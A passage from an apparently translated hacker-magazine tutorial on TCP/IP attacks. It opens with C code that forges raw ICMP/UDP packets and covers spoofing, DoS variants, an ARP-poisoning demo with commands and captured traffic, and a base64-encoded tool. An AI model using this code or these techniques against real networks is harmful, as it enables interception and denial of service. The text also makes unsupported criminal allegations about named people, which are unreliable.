icmph->icmp_cksum = csum((unsigned short *) icmph,
sizeof(struct icmp) + strlen(dados) + 1);
iph->check = csum((unsigned short *) iph, sizeof(struct iphdr));
/* Preenchendo as estruturas de rede */
rede.sin_family = AF_INET;
rede.sin_addr.s_addr = inet_addr(dstip);
/* Envia o pacote */
if((numbytes = sendto(sockicmp, buffer, iph->tot_len, 0,
(struct sockaddr *) &rede,
sizeof(struct sockaddr))) == ERRO) {
fprintf(stderr, "Erro enviando pacote: %s\n", strerror(errno));
exit(ERRO);
}
fprintf(stdout, "Total enviado: %u bytes.\n", numbytes);
close(sockicmp);
return;
}
int udp(char *srcip, char *dstip, unsigned int srcporta, unsigned int dstporta, char *dados)
{
int sockudp;
unsigned int numbytes, pckt_tam, seq = 0;
char *buffer, *ptr;
struct iphdr *iph;
struct udphdr *udph;
struct sockaddr_in rede;
socklen_t optval = 1;
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) +
strlen(dados);
buffer = malloc(pckt_tam);
if (!buffer) {
fprintf(stderr, "Erro alocando memoria para pacote.\n");
exit(ERRO);
}
iph = (struct iphdr *) buffer;
udph = (struct udphdr *) (buffer + sizeof(struct iphdr));
ptr = (buffer + sizeof(struct iphdr) + sizeof(struct udphdr));
memset(buffer, 0, pckt_tam);
if((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == ERRO) {
fprintf(stderr, "Erro criando socket UDP: %s\n",
strerror(errno));
exit(ERRO);
}
if(setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval,
sizeof(optval)) == ERRO) {
fprintf(stderr, "Erro setsockopt: %s\n", strerror(errno));
exit(ERRO);
}
/* Copia o que quisermos para a regiao de dados */
memcpy(ptr, dados, strlen(dados));
/* Preenchendo o cabecalho IP */
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(getpid());
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->tot_len = htons(pckt_tam);
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
/* Preenchendo o cabecalho UDP */
udph->source = htons(srcporta);
udph->dest = htons(dstporta);
udph->len = htons(sizeof(struct udphdr) + strlen(dados));
/* NOTE que o checksum do UDP poderia ser zero, ja' que e' opcional */
udph->check = csum((unsigned short *) udph, sizeof(struct udphdr)
+ strlen(dados));
iph->check = csum((unsigned short *) iph, sizeof(struct iphdr));
rede.sin_family = AF_INET;
rede.sin_port = htons(dstporta);
rede.sin_addr.s_addr = inet_addr(dstip);
if((numbytes = sendto(sockudp, buffer, iph->tot_len, 0,
(struct sockaddr *) &rede,
sizeof(struct sockaddr))) == ERRO) {
fprintf(stderr, "Erro enviando pacote: %s\n", strerror(errno));
exit(ERRO);
}
fprintf(stdout, "Total enviado: %u bytes.\n", numbytes);
close(sockudp);
return;
}
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return ~sum;
}
void uso(char *prognome)
{
fprintf(stderr, "\nUso: %s -s <IP orig> -d <IP dest> -p <porta orig> "
"-t <porta dest> -x <tipo>\n -u <codigo>\n"
"Exemplo: %s -s 127.0.0.1 -d 127.0.0.1 "
"-p 666 -t 31337 -x udp -D ''oi''\n"
"Exemplo: %s -s 127.0.0.1 -d 127.0.0.1 -x icmp -y 8 "
"-u 0 -D ''oi''\n", prognome, prognome, prognome);
exit(0);
}
<++ icmp-udp-custom.c ++>
2.2.4. Topics on security and attacks in TCP/IP
From now on we will cover as clearly as possible several famous attacks on many TCP/IP stacks. Some of them do not work anymore because they were specific bugs in the TCP/IP implementation of certain operating systems, for example, but other attacks are quite general and can still be applied today with some modifications. Others are design flaws inherent in the TCP/IP protocol and its derivatives.
2.2.4.1. IPv4 spoofing
The problem of IP address spoofing has been theorized since the mid 1980s, shortly after the creation of TCP/IP. In 1985 the genius Robert Tappan Morris Jr.[*], released an article called "A Weakness in the 4.2BSD Unix TCP/IP Software"[@] where the IP spoofing attack was thoroughly explained. There is also an excellent article by Steve Bellovin called "Security Problems in the TCP/IP Protocol Suite"[@@] which also covers the attack.
The IP spoofing problem became famous when Kevin Mitnick used this technique to break into the computer of the best known security analyst of the time, Tsutomu Shimomura[**], from the San Diego Supercomputing Center. Using a program probably written by his Israeli partner jsz, Mitnick managed to infiltrate Shimomura's network at SDSC by pretending to be a computer on the network that Tsutomu trusted. This way it was possible to insert the string "+ + +" into the file '.rhosts', which instructs 'rshd' to accept connections from any computer without the need for a password.
[*] Robert T. Morris is considered a genius in many ways. As a graduate student, Morris demonstrated in a practical way the biggest security problems of the last decades: IP spoofing, buffer overflow and worm (the last two at once with the 'Internet Worm'). Until then all the problems were only theoretical.
[@] The paper can be found in Morris' official site. Link: http://pdos.csail.mit.edu/~rtm/papers/117.pdf
[@@] Steve Bellovin's paper can be found on his official site. Link: http://www.cs.columbia.edu/~smb/papers/ipext.ps
[**] The hacking of Shimomura's computer was a tremendous blow to his reputation. Like a samurai with wounded honor, Tsutomu went after Mitnick and helped the FBI catch him in February 1995, with the participation of NY Times journalist John Markoff. After the capture, Shimomura and Markoff wrote a terrible book called "Takedown" that supposedly told the whole story. Unfortunately the book is completely untrue and is basically a self-promotion by Tsutomu, where his lifestyle, favorite foods, etc. are covered and Mitnick is painted as a "dark side" hacker. The book generated a good movie, but a bit fanciful, called "Operation Takedown".
Few people know that Shimomura himself has already been investigated by the FBI for reasons that will not be revealed in this article. So it is clear that Tsutomu has been involved in illegal and criminal activities, despite his image as a good guy.
The problem of IPv4 spoofing is quite simple to understand. All this is characterized because the station that is sending the datagram fills in all the information in the packet header. Using raw sockets it is possible to alter this information and forge the source address and port of a packet.
Forged source datagrams can be a headache. To give an example, an attacker could launch denial of service attacks using the IP of another computer. This would make it very difficult to discover the real origin of the attack.
Simply forging the source address and port may not be of much use alone. But when combined with the "TCP sequence number prediction" attack it becomes quite dangerous, as it can lead to session hijacking, TCP connection stalling, resetting existing connections, stealth port-scanning, among other applications.
2.2.4.2. Session Hijacking
Session hijacking is one of the most interesting attacks against TCP/IP. Through it it is possible, for example, to hijack and take over active TCP connections, and do whatever we want with them. This type of attack can be roughly divided into two parts known as "non-blind spoofing" and "blind spoofing", which will be briefly explained below.
(*) Non-blind spoofing
This happens when the attacker is on the same network as the victim, so it is possible to sniff all traffic and know what the next sequence number expected by the server where the victim is connected is. Following the theory, it would be enough for the attacker to look for the packets that have the server as source and the ACK flag activated that the "sequence number" field will contain the next expected sequence number.
With the sequence number, destination and source IPs and ports in hand, the attacker can send the data they want and the TCP server module will validate the packet because all the information regarding the header is correct.
There are no major complications for the attacker to perform a successful blind-spoofing attack, since the expected sequence number is known.
(*) Blind spoofing
The major difference between blind spoofing and the previous technique is that the attacker is not on the same network as the victim and will not be able to know the exact sequence number of a connection between the victim and the server.
Even not knowing the exact number, there is a way around this. Making a connection to any port of the server and sending some packets in order to get "samples" of the sequence numbers. In the past it was relatively easy to predict which sequence numbers would be used in the next packets, due to the use of rudimentary algorithms for this function. Although it is more difficult to carry out the attack successfully nowadays, due to the use of better algorithms which generate random sequence numbers, it is still possible to predict such numbers with some trial time, as shown in Paul Watson's paper "Slipping in the Window"[@], demonstrated at the CanSecWest 2004 conference.
[@] Link para o artigo: http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc
Note from the authors: If all goes according to plan, in the next issues of The Bug! Magazine we will release a text dealing only with session hijacking showing tools already known and one that is being developed by us. Stay tuned! :)
2.2.4.3. Flooding and other denial of service attacks (DoS, DDoS and DrDoS)
According to the Wikipedia definition, "denial of service attacks are attempts to make computer resources unavailable to their users".
There are several denial of service attacks on the network. Some of them, like flood attacks, can be compared to a game of tug-of-war, where whoever has the most bandwidth wins the battle. Others, like DDoS and DrDoS, have similar characteristics to "flooding" but are done in a more sophisticated way, using networks of zombie computers, etc., but have the same intent of sending more requests than the target can receive, leading to denial of service to legitimate users.
(*) Flooding
Flooding is nothing more than the aforementioned tug-of-war. Think about the following situation: an attacker has 150 MBps of available bandwidth. If he decides to attack a victim that has a 1.5 MBps connection he will certainly win the battle, leaving the victim without communication. This is because his network, which is 100 times faster, has a greater capacity to send packets, causing the lower capacity network to use up all its bandwidth.
The most common types of flooding used in many botnets today are ICMP and UDP floods, which are really devastating.
(*) Other Types of Denial of Service
There are dozens of different types of network DoS. From the infamously simple WinNuke to Teardrop to the more sophisticated DDoS and DrDoS attacks. Even buffer overflow failures or any other bugs where it is possible to corrupt the memory of a program can be a denial of service problem.
(+) WinNuke
Highly popular attack on IRC from the second half of the 90s on, WinNuke acted by sending an out-of-band packet to port 139, NetBIOS, on Windows. Since Windows did not know how to manage the packet, it would crash the machine and the famous blue screen of death would be displayed.
(+) Click Nuker
Probably the Click Nuker, created by Rhad from 7th Sphere, was one of the most popular IRC nukers of all time. Click Nuker worked by sending spoofed ICMP packets as if it was from the server to the client, or vice versa, that signaled a disconnection. You had to have Winsock 2 installed to use the program :)
PS: How I miss the IRC war days ;~)
(+) Teardrop
We will leave the explanation of Teardrop for the next section of the text.
(+) DDoS
DDoS, or Distributed Denial of Service, is nothing more than the joining of several computers to attack only one with several flooding techniques. This type of attack became famous in 1999/2000, when several of the largest sites in the world, such as Yahoo!, CNN, eBay, and in Brazil UOL, Terra, ZipMail, etc., suffered heavy offensives.
The programs used at the time to carry out these attacks were 'Trinoo', 'tfn2k' and 'Stacheldraht'. These applications were structured in client/server form, which made attacks much easier, as the client only had to issue the instruction of its choice (e.g. attack with UDP flood host X) and all compromised computers that were connected to the master server would receive the instruction at once.
(+) DrDoS
DrDoS, or Distributed and Reflective Denial of Service, is the natural evolution of DDoS. This attack became famous with the attack made by unknown people on Steve Gibson's Gibson Research Corp. website. Being a controversial figure in the information security world, Gibson was probably one of the first, if not the first, target of this new technique.
The original DrDoS consisted of using routers that had the BGP (Border Gateway Protocol) port open (BGP is used to exchange routing information between routers). Then a SYN flood attack or something like that was performed, with the victim's IP as source, so that the routers would send SYN/ACK replies. Imagine this with the routers of the largest links in the world and realize how powerful an attacker with a few machines and a simple connection can be.
Although it is a very old concept, recently this attack has been done by sending requests to DNS servers, with the victim as the origin.
2.2.4.4. Fragmentation attacks
As we know, fragmentation is used when a packet is larger than the MTU (maximum transfer unit) value of the network we are using, thus being of paramount importance for the operation of the Internet, since it is an environment composed of completely heterogeneous networks.
It is possible to use the fragmentation feature and exploit flaws in several TCP/IP operating system implementations. Many fragmentation attacks are intended to cause problems during reassembly of packets by the receiving host.
The vast majority of these attacks are aimed at causing denial of service and bypassing firewall rules.
Many techniques became IRC famous, like the "ping of death", which sent several small ICMP packets that when reassembled would be larger than the maximum size of 65535 bytes, causing the machine to crash or reboot. Another attack, such as the "tiny fragment" attack, is, as the name implies, to send tiny fragments to cause excessive memory consumption on the target or to cause vital packet header information, such as TCP flags, for example, to not be in the first packet sent but in subsequent packets, bypassing some firewalls.
There are at least two excellent informative RFCs which address and propose solutions to the problems involved with fragmentation. They are [rfc1858] and [rfc3128]. They are recommended reading and their links are at the end of the article in the references section.
2.2.4.5. ICMP pitfalls
"ICMP [RFC 792] is a fundamental part of the TCP/IP protocol suite, and is used mainly for reporting errors on the network" (F. Gont, 2006). As we saw earlier in the section where we talked about the basics of the ICMP protocol, there are several ICMP packet codes that can be interesting if viewed from an attacker's point of view.
We have already seen that it is possible to send packets with forged header information. Similarly, it is possible to send forged ICMP messages to the victim as long as you can correctly guess the socket information (source and destination IPs and ports) that identifies a TCP communication. In general, figuring out socket information blindly is difficult, but there are several techniques such as the one mentioned at the CanSecWest 2004 conference by Paul Watson in his talk "Slipping in the Window: TCP Reset Attacks".
As some interesting codes we could use "Destination Unreachable", "Protocol Unreachable", "Port Unreachable", "Source Quench", among others. With these ICMP codes we can bring down a connection in progress or make it extremely slow.
Below is illustrated a situation where it would be possible to use this attack:
(fig. 2.2.5)
------------------ ---------------------
| Cliente (1337) | <---------------------------- | Servidor (21/ftp) |
| 69.69.69.69 | -----------------------------> | 21.21.21.21 |
------------------ ---------------------
^
--------------- |
| Atacante | ---------------------------
| 23.23.23.23 | ICMP Source Quench (spoofed)
--------------- vindo 69.69.69.69 com
destino 21.21.21.21.
Cabecalho do pacote de erro contendo
porta 1337 como origem e 21 como destino.
We can see that to the Server, the Client is asking to slow down the flow of data being sent. If the attacker keeps sending packets of this type repeatedly, it is possible to slow down the communication between Client and Server until it becomes impractical.
Reference number 11 contains a link to an excellent article written by the Argentine Fernando Gont describing these attacks in more detail and with proof-of-concept programs.
There is a code written by the hacker houseofdabus that puts in practice what was described by Gont.
Link: http://www.security.nnov.ru/files/HOD-icmp-attacks-poc.c
There are also flooding attacks using ICMP, such as Smurf, which we will see later.
3. "Real life" examples
This section will technically cover some common attacks and some of their demonstrations in practice.
3.1. rrapt: Route Redirection ARP Poisoning Tool
The rrapt is based on a known method of "ARP poisoning" and in many cases it is possible to make arbitrary changes in the routing tables of the victim or gateway. It is also possible to sniff traffic in a relatively silent way.
Step 1: Enable packet forwarding in Linux as follows:
----------------------------------------------------------
root@void:~/RRAPT# echo "1"> /proc/sys/net/ipv4/ip_forward
----------------------------------------------------------
Step 2: Get to work!
Below is a small demonstration of the attack on a home network with Slackware (attacker) running on a VM and Windows XP:
First, take a look at the target's ARP table before starting the attack:
--------------------------------------------------------
F:\Documents and Settings\Administrador>arp -a
Interface: 192.168.0.108 --- 0x10003
Endereco IP Endereco fisico Tipo
192.168.0.1 00-15-e9-db-e5-6f dinamico
--------------------------------------------------------
The address 00-15-e9-db-e5-6f is correct, this is actually the MAC address of our D-link router DI-604. Now let's run rrapt against the targets 192.168.0.1 and 192.168.0.108 which is Windows XP on the network:
--------------------------------------------------------------------------
root@void:~/RRAPT_2.0/2.0/Reloaded# ./rrapt 00:15:E9:DB:E5:6F 192.168.0.1
00:11:09:6A:3A:16 192.168.0.108
Running, ctrl+c to abort...
--------------------------------------------------------------------------
Here's what XP's arp table looks like:
-------------------------------------------------------
F:\Documents and Settings\Administrador>arp -a
Interface: 192.168.0.108 --- 0x10003
Endereco IP Endereco fisico Tipo
192.168.0.1 00-0c-29-38-c5-87 dinamico [!]
F:\Documents and Settings\Administrador>
-------------------------------------------------------
Note at [!] that MAC 00-0c-29-38-c5-87 is the attacker's address as shown in ifconfig:
---------------------------------------------------------------------------
root@void:~/RRAPT_2.0/2.0/Reloaded# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0C:29:38:C5:87
inet addr:192.168.0.152 Bcast:192.168.0.255 Mask:255.255.255.0
---------------------------------------------------------------------------
Tabela IPs/MACs (fig 3.1.0)
-------------------------------------------------
| Sistema | IP | MAC |
|-----------|---------------|--------------------
| Windows | 192.168.0.126 | 00:14:38:0D:2C:45 |
| D-Link | 192.168.0.1 | 00:15:E9:DB:E5:6F |
| Slackware | 192.168.0.152 | 00:0C:29:38:C5:87 |
-------------------------------------------------
Accessing Google from Windows XP, we can see:
--------------------------------------------------------------------------
F:\Documents and Settings\Administrador>ping www.google.com
Disparando contra www.l.google.com [216.239.37.99 ] com 32 bytes de dados:
Resposta de 216.239.37.99: bytes=32 tempo=152ms TTL=245
Resposta de 216.239.37.99: bytes=32 tempo=154ms TTL=245
Resposta de 216.239.37.99: bytes=32 tempo=153ms TTL=245
Resposta de 216.239.37.99: bytes=32 tempo=153ms TTL=245
Estatisticas do Ping para 216.239.37.99:
Pacotes: Enviados = 4, Recebidos = 4, Perdidos = 0 (0% de perda),
Aproximar um numero redondo de vezes em milissegundos:
Minimo = 152ms, Maximo = 154ms, Media = 153ms
F:\Documents and Settings\Administrador>
--------------------------------------------------------------------------
After ARP spoofing it is possible to capture all the traffic that the Windows computer sends and receives, because now the Slackware machine is the gateway:
--------------------------------------------------------------------------
root@void:~/RRAPT_2.0# tcpdump -enqti eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:0c:29:38:c5:87 > 00:15:e9:db:e5:6f, ARP, length 42: arp who-has 192.168.0.1
(00:15:e9:db:e5:6f) tell 192.168.0.108
00:0c:29:38:c5:87 > 00:11:09:6a:3a:16, ARP, length 42: arp who-has
192.168.0.108 (00:11:09:6a:3a:16) tell 192.168.0.1
00:15:e9:db:e5:6f > 00:0c:29:38:c5:87, ARP, length 60: arp reply 192.168.0.1
is-at 00:15:e9:db:e5:6f
00:11:09:6a:3a:16 > 00:0c:29:38:c5:87, ARP, length 60: arp reply 192.168.0.108
is-at 00:11:09:6a:3a:16
(...)
[ pingando google.com ]
00:11:09:6a:3a:16 > 00:0c:29:38:c5:87, IPv4, length 74: 192.168.0.108 >
216.239.37.99: ICMP echo request, id 512, seq 25856, length 40
00:0c:29:38:c5:87 > 00:15:e9:db:e5:6f, IPv4, length 74: 192.168.0.108 >
216.239.37.99: ICMP echo request, id 512, seq 25856, length 40
00:15:e9:db:e5:6f > 00:0c:29:38:c5:87, IPv4, length 74: 216.239.37.99 >
192.168.0.108: ICMP echo reply, id 512, seq 25856, length 40
00:0c:29:38:c5:87 > 00:11:09:6a:3a:16, IPv4, length 74: 216.239.37.99 >
192.168.0.108: ICMP echo reply, id 512, seq 25856, length 40
00:11:09:6a:3a:16 > 00:0c:29:38:c5:87, IPv4, length 74: 192.168.0.108 >
216.239.37.99: ICMP echo request, id 512, seq 26112, length 40
00:0c:29:38:c5:87 > 00:15:e9:db:e5:6f, IPv4, length 74: 192.168.0.108 >
216.239.37.99: ICMP echo request, id 512, seq 26112, length 40
00:15:e9:db:e5:6f > 00:0c:29:38:c5:87, IPv4, length 74: 216.239.37.99 >
192.168.0.108: ICMP echo reply, id 512, seq 26112, length 40
00:0c:29:38:c5:87 > 00:11:09:6a:3a:16, IPv4, length 74: 216.239.37.99 >
192.168.0.108: ICMP echo reply, id 512, seq 26112, length 40
(...)
[ acessando a web ]
00:0c:29:38:c5:87 > 00:15:e9:db:e5:6f, IPv4, length 1121: 192.168.0.108.1151 >
216.239.37.104.80: tcp 1067
00:15:e9:db:e5:6f > 00:0c:29:38:c5:87, IPv4, length 218: 216.239.37.99.80 >
192.168.0.108.1150: tcp 164
00:0c:29:38:c5:87 > 00:11:09:6a:3a:16, IPv4, length 218: 216.239.37.99.80 >
192.168.0.108.1150: tcp 164
00:15:e9:db:e5:6f > 00:0c:29:38:c5:87, IPv4, length 218: 216.239.37.99.80 >
192.168.0.108.1152: tcp 164
00:0c:29:38:c5:87 > 00:11:09:6a:3a:16, IPv4, length 218: 216.239.37.99.80 >
192.168.0.108.1152: tcp 164
00:11:09:6a:3a:16 > 00:0c:29:38:c5:87, IPv4, length 1340: 192.168.0.108.1150 >
216.239.37.99.80: tcp 1286
00:0c:29:38:c5:87 > 00:15:e9:db:e5:6f, IPv4, length 1340: 192.168.0.108.1150 >
216.239.37.99.80: tcp 1286
--------------------------------------------------------------------------
It's very easy to steal your data on a local network. Keep that in mind :)
3.2. Rose attack, Teardrop and Land
(*) Rose attack
The Rose fragmentation attack was discovered in 2005, apparently unintentionally, from tests done by an engineer named Ken Hollis. Tests were made with Windows XP and 2000 systems, as well as Mandrake 10 and 9.2, all using a firewall. The result of the attack is high resource consumption and subsequent system crash/reboot.
The code for Rose can be found in reference site 15.
(+) Anatomy of the attack
Like any fragmentation attack, the Rose sends tiny packets at offset 0 (first byte of the packet, MF bit on), and sends some packets in the last offsets of the packet (usually the last one, offset 64, and with the MF bit off).
In this way the operating system's TCP/IP stack creates a 64k buffer which will never be filled, because the intermediate information will never arrive. While the computer waits for the rest of the packets, other Rose packets arrive and fill up the packet fragment queue. Then the next packets, even the legitimate ones, will start to be dropped.
Rose attack - allocated buffer state of the TCP/IP stack (fig 3.2.0)
|--------------------------------------------------------------------|
| |
| 0 32 64 |
| ---------------------------------------------------------------- |
| |X| ... ... ... |X| |
| ---------------------------------------------------------------- |
| |
|--------------------------------------------------------------------|
There is another variation of the attack called New Dawn that will not be covered in this article. See reference 15 for more information.
(*) Teardrop
The famous Teardrop was created in late 1997 by Mike "route" Schiffman, editor-in-chief of Phrack at the time and author of several networking tools such as nemesis, libnet, etc.
For those who already frequented IRC at that time remember that teardrop.c was one of the most used programs for IRC war and to cause DoS even in ISPs and larger systems.
(+) Anatomy of the attack
There was a signedness bug that triggered a buffer overflow in the "ip_glue()" function of the Linux kernel TCP/IP stack. This function was responsible for collecting all the fragments of the original datagram and copying them into a larger buffer. Although the function does check if the fragment size is too big, avoiding a potential memory corruption, "ip_glue()" forgets to check if the fragment is too small. It is possible to force a negative datagram size and cause the "memcpy()" function to copy much more data than the buffer can support.
For more information see reference number 6. The link is at the end of this article.
(*) Land
The Land attack was created in 1997 by a 13 year old hacker named m3ltman. At the time of its creation Land was devastating because of the huge amount of vulnerable operating systems. The attack ranged from Windows 95 to the more exotic UNIX, routers, and other less common systems. At the time of its release some malicious people even used the Land to bring down NASA's Kennedy Space Center, among other large systems.
As expected, the land.c[@] code and its variants, such as latierra.c, were widely used during 1998 and 1999.
(+) Anatomy of the attack
The Land attack is quite simple. Basically it consists in sending a forged packet to the victim with the SYN flag enabled and source and destination IP being the same and source and destination port being the same.
This way the machine will respond to itself continuously until all its resources are exhausted and the system crashes completely or reboots.
Land attack (fig 3.2.1)
--------------------------------------------------------------
| |
| ----------------- dst: 69.69.69.69:139 |
| | Vitima (139) | src: 69.69.69.69:139 ------------ |
| | 69.69.69.69 | <--------------------- | Atacante | |
| ----------------- ------------ |
| |
--------------------------------------------------------------
Impressively, 8 years after the Land release a service engineer named Dejan Levaja sent a Land package to a Windows XP SP2 computer and another Windows 2003 Server. The result? To general amazement, slowness and system crashes, just like in 1997!
[@] land.c: http://packetstormsecurity.org/Exploit_Code_Archive/land.c
3.3. DNS Amplification Attacks
Amplification attacks are nothing new in the security world, let alone the underground. In late 2000 the famous German hacker nickname scut, from the legendary TESO group, was the first to publicly raise a small debate about this attack. This problem went unnoticed until 2006, when Gadi Evron and Randal Vaughn released a paper detailing the problem. As usual, Gadi Evron made a big fuss about it, presented the attack as news, and got the credit. Unfortunately, the uninformed media and Verisign issued several warnings about a possible new attack "that could compromise the foundations of the Internet" but forgot (or did not know) that the attack had already been theorized years ago.
This attack is based on sending spoofed UDP packets with the intention of abusing recursive open DNSs, i.e. DNSs that can act as "open resolvers" and accept name resolution requests from any machine. The attack also abuses the EDNS option of the new nameservers, which is useful to the attacker because the new definitions end up generating more response traffic than the old nameservers.
The scenario involving DNS amplification attacks starts with the attacker having a nameserver, preferably a compromised machine where he has access, that has a large amount of information in its response (for example TXT records, which can be 4kb, MX, among others).
DNS Amplification Attack Diagram (fig. 3.3.0) [adapted from ref. 12]
------------------------------------------------------------------------------|
| |
| (1) ---------------- (3) |
| -----------------------------> | Nameserver 1 | -- ============= |
| | ---------------- | ||| |
| ------------ ---------------- | ||| |
| | Atacante | --------------------> | Nameserver 2 | == ==== ||| |
| ------------ ---------------- | || v |
| | ------- ... ----> ... / | || ---------- |
| | ------- ... ----> ... / | =====> | Vitima | |
| | ------- ... ----> ... / | ---------- |
| | ---------------- | ^ |
| -------------- ... ----> | Nameserver N | === | ============||| |
| ---------------- | |
| / / | |
| --------------------- <----- / | |
| | NS (comprometido) | <------/ | |
| --------------------- <----------------------------| |
| (2) |
------------------------------------------------------------------------------|
NOTE: The single lines are the malicious request and the solid lines indicate the response traffic from the nameservers.
- The attacker sends specific requests to the nameservers, with the source IP as the victim's IP, asking to resolve the compromised NS.
- The numerous nameservers are not authoritative for the requested domain and comply with the request. The information about the compromised NS is cached so that if there is another request within a certain time frame the nameserver resolvers do not need to contact the compromised NS again.
- The nameservers send the victim a response, which is much larger than the request. Too many nameservers sending several "big" replies will saturate the victim's link.
In short: Small requests can be amplified by relatively high factors and consume all the traffic of the attacked network.
We recommend using the references to dig deeper because there is a lot more information about this attack.
3.4. Smurf attacks
The Smurf attack, created in mid-1998 by a hacker named TFreak, is a DoS class of amplified attacks.
The Smurf problem is quite simple and easy to understand.
Smurf takes advantage of the weakness of some networks in allowing their broadcast IPs to respond to ICMP packets.
It is possible for an attacker to send a forged ping packet, for example, to a network broadcast with the source IP as the victim's. All computers on the network which receive the packet will then send the reply back to the host being attacked, meaning that a single packet sent by the attacker will have many replies (amplified attack).
(fig. 3.4.0)
----------
|----------- | Host A |
| ----------
---------- <---------------------------| ----------
| Vitima | <------------------------------- | Host B |
---------- <-| <-------------------------| ----------
|----------------------------- |--
| | ----------
Broadcast | |--------------- | Host D |
^ | ---------- ----------
------------ | --- | Host C |
| Atacante | ------- ----------
------------
Note that four is the multiplicative factor, since one "ECHO REQUEST" generated four "ECHO REPLY" packets. In a very large network of computers it is possible to amplify the attack by hundreds or thousands of times.
There are several codes for performing this attack. The most famous is, without a doubt, smurf.c[@], which gave the attack its name.
[@] smurf.c: http://packetstormsecurity.org/Exploit_Code_Archive/smurf.c
4. End
If you made it this far, congratulations! ;)
Keep in mind that this is a basic article, and it is recommended to go to the references section to learn more about the themes discussed here.
We hope you found this paper useful. We will be very happy with your feedback.
4.1. Thanks to
hash would like to thank Julio C. Fort for the determination that made it possible to release this issue of The Bug! Magazine despite all setbacks, to the rfdslabs and Gotfault people for the intellectual support and friendship. Otherwise I won't mention any names to avoid the risk of forgetting someone.
I would like to thank hash, everyone at rfdslabs, gotfault.net, brunna (:@@), barrossecurity.com, BSDaemon, Filipe Balestra and risesecurity.org, Lucien Rocha and all friends around the world.
It is also worth mentioning the Street Dogs' "Fading American Dream" CD, and several others as the soundtrack during the writing of this article.
4.2 References
(*) Raw Ethernet
- ARP - Q&A (http://www.geocities.com/SiliconValley/Vista/8672/network/arp.html)
- RFC 826 - An Ethernet Address Resolution Protocol (David C. Plummer) (http://www.faqs.org/rfcs/rfc826.html)
- Address Resolution Protocol (http://www.erg.abdn.ac.uk/users/gorry/course/inet-pages/arp.html)
- ARP and RARP Address Translation (http://www.comptechdoc.org/independent/networking/guide/netarp.html)
- ARP, Address Resolution Protocol (http://www.networksorcery.com/enp/protocol/arp.htm#Opcode)
(*) Raw IPv4 and so on
- Unix Network Programming, Vol. 1, 3rd edition (mestre W. Richard Stevens, Bill Fener e Andrew Rudoff) [Editora Addison-Wesley | ISBN 0131411551]
- TCP/IP Illustrated, Volume 1 - The Protocols (mestre W. Richard Stevens) [Editora Addison-Wesley | ISBN 0201633469]
- Guia Ilustrado do TCP/IP (Matthew Naugle) [Editora Berkeley | ISBN 0471196568]
- Beej's Guide To Network Programming (Brian "beej" Hall) (http://www.beej.us/guide/bgnet/)
- Networking Part 1 e Networking Part 2 (Jesko "Rattle Snake" Huettenhain) (http://neworder.box.sk/files/ip.txt e http://neworder.box.sk/files/tcp.txt)
- Documentation about native raw socket programming (nitr0gen @ Exile2k) (http://packetstormsecurity.org/programming-tutorials/raw_socket.txt) -- O site original http://www.exile2k.org se encontrava offline --
- Raw Socket Programming (Komrade) [em italiano] (http://unsecure.altervista.org/rawsocket/rawsocket.htm)
- A weakness in 4.2 BSD Unix TCP/IP software (Robert T. Morris Jr.) (http://pdos.csail.mit.edu/~rtm/papers/117.pdf)
- RFC 1858: Security Considerations for IP Fragment Filtering (ftp://ftp.rfc-editor.org/in-notes/rfc1858.txt)
- DNS Amplification Attacks (Gadi Evron e Randal Vaughn) (http://www.isotf.org/news/DNS-Amplification-Attacks.pdf)
- TESO - Nameserver traffic amplify and NS route discovery (scut) (http://archive.cert.uni-stuttgart.de/archive/bugtraq/2000/02/msg00198.html)
- Anatomy of Recent DNS Reflector Attacks (Silva, Scalzo e Barber) (http://www.verisign.com/static/037903.pdf)
- ICMP attacks against TCP (Fernando Gont) (http://www.gont.com.ar/drafts/icmp-attacks/index.html)
- Project Neptune (Mike "route" Schiffman) (http://www.phrack.org/phrack/48/P48-13)
- The Rose Fragmentation Attack (Ken "Gandalf" Hollis) (http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm)
- Linux IP fragment overlap bug (Mike "route" Schiffman) (http://seclists.org/bugtraq/1997/Nov/0126.html)
- The LAND attack IP DoS (m3lt) (http://www.insecure.org/sploits/land.ip.DOS.html)
- DoS & DDoS Attacks (http://www.dos-attacks.com)
- Denial-of-service (aborda tambem DDoS) (http://en.wikipedia.org/wiki/Denial_of_service_attack)
- The Distributed Reflection DoS Attack (Steve Gibson) (http://www.grc.com/dos/drdos.htm)
NOTA: Esse e' um dos poucos trabalhos serios lancados por Steve Gibson. Boa parte do que ele fala e' alarmista e infundado, devendo ser ignorado. Maiores detalhes em http://attrition.org/errata/charlatan.html#gibson
5. Tarball do rrapt
Below is the rrapt tarball in base64 format. Use uudecode to extract the file.
--- corte aqui ---
begin-base64 644 rrapt_v2.0.tar.gz
H4sICO5Ms0UAA3JyYXB0X3YyLjAudGFyAO07a3faSLLzFX5FDZlJAAskYXAy
OM4eB+OEnTjmYrJz92ZyOEJqkMZC0uphmzz++63q1hOE4+zO7J7ZQx+DRHV1
...
1zytwvRujt4oOol4yC3LtybNXBYfp9d0IKHRRTnyWuGlEs8JEGgtMSHT7PaG
bU12x3nnEfufLmDfl33Zl33Zl33Zl33Zl33Zl33Zl33Zl33Zl33Zl33Zl315
QPl/pS46rwBQAAA=
====
--- corte aqui ---